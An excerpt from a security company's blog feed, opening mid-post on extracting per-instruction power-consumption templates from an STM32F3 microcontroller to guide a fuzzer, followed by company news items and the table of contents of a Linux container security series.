&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/attack_scenario_hu92945adc4eca085740cfd4af86781d8d_15607_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/attack_scenario_hu92945adc4eca085740cfd4af86781d8d_15607_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/attack_scenario_hu92945adc4eca085740cfd4af86781d8d_15607_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis01/attack_scenario.png"
width="1000"
height="346"
alt=""
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
&lt;/figcaption>
&lt;/figure>
&lt;p>Templates for all instructions are created with a separate microcontroller of the same type as the target controller.
Those templates can be correlated with the recorded power consumption of the target after a specific input over a peripheral bus.
The resulting information can then be used by a fuzzer attached to the peripheral bus to optimize its input.
It uses the reconstructed execution flows to check if the same behavior was triggered from different inputs. If the same behavior was triggered, different messages will be send to the microcontroller.&lt;/p>
&lt;h3 id="target-and-setup">Target and setup&lt;/h3>
&lt;p>In our research the STM32F3 was chosen as a target, because it is a widely used chip which has an included ARM Coretex M4, voltage regulator and a lot of peripheral interfaces like SPI, I2C and CAN.
To perform the power analysis we used a &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://newae.com/tools/chipwhisperer/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Chipwhisperer-Pro&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and a &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.picotech.com/products/oscilloscope"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Picoscope&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, providing a Python software interface and a high enough sample rate to analyze the power trace of the STM32F3.
To measure the current draw of the microcontroller the voltage across a shunt resistor on the power input of the STM32F3 is connected to the Picoscope or the Chipwhisperer.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/chipwhisperer_with_target_and_oscilloscope_hud76d4a0c26bc8fff999667bc86e8c4f9_870494_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/chipwhisperer_with_target_and_oscilloscope_hud76d4a0c26bc8fff999667bc86e8c4f9_870494_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/chipwhisperer_with_target_and_oscilloscope_hud76d4a0c26bc8fff999667bc86e8c4f9_870494_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis01/chipwhisperer_with_target_and_oscilloscope.jpg"
width="2000"
height="1333"
alt=""
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
&lt;/figcaption>
&lt;/figure>
&lt;p>The test setup consists of a ChipWhisperer CW1200, a Picoscope 5244D, the STM32F3 target board and the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="http://store.newae.com/cw308-ufo-board/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">UFO&lt;/span>
&lt;/a>&lt;a
href="http://store.newae.com/cw308-ufo-board/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Board&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
The target board consists of the STM32F3 and a minimal circuitry to run the controller. It is attached to the UFO board which connects the target to the ChipWhisperer and the Picoscope.
The Picoscope and the ChipWhisperer are hooked up to GPIO13 and to the shunt resistor. The signal from GPIO13 will be used as a trigger for recording the voltage across the shunt resistor.
The ChipWhisperer is primarily used as a fast flasher and clock source for the target but it can also be used as main measurement instrument.
But it is more accurate to use the Picoscope which has a better time and voltage resolution. It does not matter what kind of oscilloscope is used as long as its sample rate is 3x faster than the base clock of
the STM32F3. For example on the setup depicted above a Rigol oscilloscope was used to check the measured signals of the ChipWhisperer.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/mesurement_circruit_huc0bf365e3dcac5f130b4fa9b3e6749ad_12924_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/mesurement_circruit_huc0bf365e3dcac5f130b4fa9b3e6749ad_12924_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/mesurement_circruit_huc0bf365e3dcac5f130b4fa9b3e6749ad_12924_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis01/mesurement_circruit.png"
width="850"
height="366"
alt=""
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
&lt;/figcaption>
&lt;/figure>
&lt;p>To measure the current draw of one specific instruction a test program that runs the instruction has to be created, flashed and executed on the microcontroller.
It is important to record as little as possible because long recordings make it difficult to find the piece of the recording that actually represents one specific instruction.
This can be achieved by changing the state of a GPIO from LOW to HIGH right before the instruction is executed. The state change of the pin triggers the oscilloscope to record
and after the instruction a second state change can be used to trim the end of the recording.&lt;/p>
&lt;p>But even inside the boundaries of the trigger signals the instruction&amp;rsquo;s power trace is padded with parts of the function return of the pin set and the stack restore.
To separate those from the actual instruction further analysis is necessary.&lt;/p>
&lt;h3 id="extraction-of-the-templates">Extraction of the Templates&lt;/h3>
&lt;p>In order to extract a template of a specific instruction a series of tests must be recorded. The tests are chains of the same instruction in different lengths.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/difference_between_2_and_3_repetitions_huc505967b4796fe91482e94d10155dd2d_65645_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/difference_between_2_and_3_repetitions_huc505967b4796fe91482e94d10155dd2d_65645_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/difference_between_2_and_3_repetitions_huc505967b4796fe91482e94d10155dd2d_65645_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis01/difference_between_2_and_3_repetitions.png"
width="1200"
height="682"
alt=""
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
&lt;/figcaption>
&lt;/figure>
&lt;p>If for example a chain with two repetitions is subtracted from a chain with three repetitions the first two repetitions cancel out each other and it is noticeable when the third repetition starts.
It is even more visible and better detectable if the signal is filtered with a 50% threshold filter.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/difference_between_2_and_3_repetitions_filtered_hudd43755c7d91b8364f94ef9bd25e4273_73821_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/difference_between_2_and_3_repetitions_filtered_hudd43755c7d91b8364f94ef9bd25e4273_73821_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/difference_between_2_and_3_repetitions_filtered_hudd43755c7d91b8364f94ef9bd25e4273_73821_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis01/difference_between_2_and_3_repetitions_filtered.png"
width="1200"
height="682"
alt=""
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
&lt;/figcaption>
&lt;/figure>
&lt;p>When the signal is above zero for the first time the third repetition starts.
To detect the end of the third repetition the chain with three repetitions is subtracted from a chain with four repetitions. The first difference is the beginning of the fourth repetition and the end of the third.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/difference_between_3_and_4_repetitions_filtered_hu21bce3eb13d14dc240e76c955d0952dd_62575_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/difference_between_3_and_4_repetitions_filtered_hu21bce3eb13d14dc240e76c955d0952dd_62575_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/difference_between_3_and_4_repetitions_filtered_hu21bce3eb13d14dc240e76c955d0952dd_62575_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis01/difference_between_3_and_4_repetitions_filtered.png"
width="1200"
height="698"
alt=""
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
&lt;/figcaption>
&lt;/figure>
&lt;p>The resulting start and end points can then be used to cut out the actual template from the three repetition recordings.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/templated_marked_on_powertrace_hu81b68a889b1c3c272e8dc586bc1b7316_62170_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/templated_marked_on_powertrace_hu81b68a889b1c3c272e8dc586bc1b7316_62170_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/templated_marked_on_powertrace_hu81b68a889b1c3c272e8dc586bc1b7316_62170_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis01/templated_marked_on_powertrace.png"
width="1200"
height="692"
alt=""
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
&lt;/figcaption>
&lt;/figure>
&lt;p>This is the final template of a &amp;ldquo;add r0, r0&amp;rdquo; instruction:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/addr0r0_instruction_templated_hu4448ed3973f3dea2f2ee09a64848431e_24410_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/addr0r0_instruction_templated_hu4448ed3973f3dea2f2ee09a64848431e_24410_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/poweranalysis01/addr0r0_instruction_templated_hu4448ed3973f3dea2f2ee09a64848431e_24410_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/poweranalysis01/addr0r0_instruction_templated.png"
width="850"
height="480"
alt=""
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
&lt;/figcaption>
&lt;/figure>
&lt;h2 id="next-post">Next Post&lt;/h2>
&lt;p>Continue reading the next part of this series in which we will analyze the templates used to reconstruct programs &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/poweranalysis02"
class="link-background inline no-spaces"
>
&lt;span class="link-label">here&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;h2 id="references--credits">References / Credits&lt;/h2>
&lt;p>The work was sponsored by the BMBF project &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.forschung-it-sicherheit-kommunikationssysteme.de/projekte/sicherheit-fuer-vernetzte-autonome-fahrzeuge"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SecForCARs&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
and created at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">SCHUTZWERK&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(supervisor Dr. Bastian Könings &amp;amp; Msc. Heiko Ehret) in cooperation with the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.uni-ulm.de/en/in/vs/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Institute&lt;/span>
&lt;/a>&lt;a
href="https://www.uni-ulm.de/en/in/vs/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.uni-ulm.de/en/in/vs/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Distributed&lt;/span>
&lt;/a>&lt;a
href="https://www.uni-ulm.de/en/in/vs/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Systems&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
at Ulm University (referee: Prof. Dr. Frank Kargl, supervisor Dr. Rens van der Heijden).&lt;/p></description></item><item><title>Moin moin - New office in the heart of Hamburg</title><link>https://www.schutzwerk.com/en/blog/neues-buero-hamburg/</link><author>SCHUTZWERK GmbH</author><pubDate>Mon, 24 Jun 2019 13:00:00 +0100</pubDate><category>news</category><description>
&lt;p>Our new office in the historic building of the Hanse-Viertel offers growth potential and best working conditions for the Hamburg team of SCHUTZWERK.&lt;/p>
&lt;p>After a long search, we were able to find a new home for our Hamburg team in a popular inner city location. It offers sufficient space for the grown team and space to grow further. Some things are still under construction, but we have Internet, club-mate, coffee, height-adjustable desks and equipment for the meeting room. We still need some more furniture for our lounge area and are hesitating between a pool table, airhockey table or foosball table.&lt;/p>
&lt;p>But we are looking forward to the near future and are already planning the first events in our new office. From July on we will be supported in Hamburg by a new employee in the marketing and sales area. We are also looking for technical consultants, who like to get to the bottom of things, know CTFs not only from games and want to live out their interest in IT security professionally. Feel free to contact us.&lt;/p>
&lt;p>Tschüss&lt;/p></description></item><item><title>Automotive Security Talk at Aalen University</title><link>https://www.schutzwerk.com/en/blog/vortrag-hs-aalen-2019/</link><author>SCHUTZWERK GmbH</author><pubDate>Wed, 19 Jun 2019 13:00:00 +0100</pubDate><category>news</category><category>talk</category><category>automotive security</category><category>cooperation</category><description>
&lt;p>As part of the 10 years IT security anniversary lecture series at Aalen University, Bastian Könings has given an introduction to the security of today&amp;rsquo;s and future vehicles.
In his talk, he outlined known security issues and demonstrated existing attacks on cars. How these issues are being addressed in current development processes was discussed by showing the goals and approaches of penetration tests conducted by SCHUTZWERK in the automotive domain.&lt;/p>
&lt;p>The talk concluded with the lookout on current ambitions to secure future autonomous cars which are addressed in the BMBF-funded research project SecForCARs. In this project, SCHUTZWERK is particularly involved in the development of new methods and tools for the security assessment of autonomous vehicles.&lt;/p></description></item><item><title>SCHUTZWERK CTF Event at the Aalen University of Applied Sciences</title><link>https://www.schutzwerk.com/en/blog/ctf-hs-aalen-2019/</link><author>SCHUTZWERK GmbH</author><pubDate>Fri, 29 Mar 2019 13:00:00 +0100</pubDate><category>news</category><category>ctf</category><category>cooperation</category><category>embedded security</category><description>
&lt;p>In cooperation with the Aalen University of Applied Sciences, SCHUTZWERK organized another successful hacking event for their students. As part of the all-day event, the students were invited to solve challenges from different categories and levels of difficulty. New this year were, besides the updated Challenges in the existing areas, challenges from the topic Hardware / Embedded Security.&lt;/p>
&lt;p>At this point we would like to thank the University for the cooperation and congratulate the winners of the event.&lt;/p>
&lt;p>Further dates are already planned. Write to us if you are interested. We regularly hold events in companies as well and are happy to come to your University.&lt;/p></description></item><item><title>Linux Container Basics: Capabilities</title><link>https://www.schutzwerk.com/en/blog/linux-container-capabilities/</link><author>Philipp Schmied</author><pubDate>Wed, 27 Mar 2019 09:56:10 +0100</pubDate><category>linux</category><category>container</category><description>
&lt;p>&lt;em>Disclaimer: The elaboration associated to this subject results from a Master&amp;rsquo;s thesis created at SCHUTZWERK in collaboration with &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.hs-aalen.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Aalen&lt;/span>
&lt;/a>&lt;a
href="https://www.hs-aalen.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">University&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
by Philipp Schmied.&lt;/em>&lt;/p>
&lt;p>This post of the Linux Container series provides information regarding required fundamentals: Linux capabilities. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.&lt;/p>
&lt;ol start="0">
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Containers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Capabilities&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Mount&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Description&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Related&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Information&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Leak&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Docker&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">PID&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">User&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Block&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">I/O&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Memory,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">CPU,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Freezer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ol>
&lt;hr>
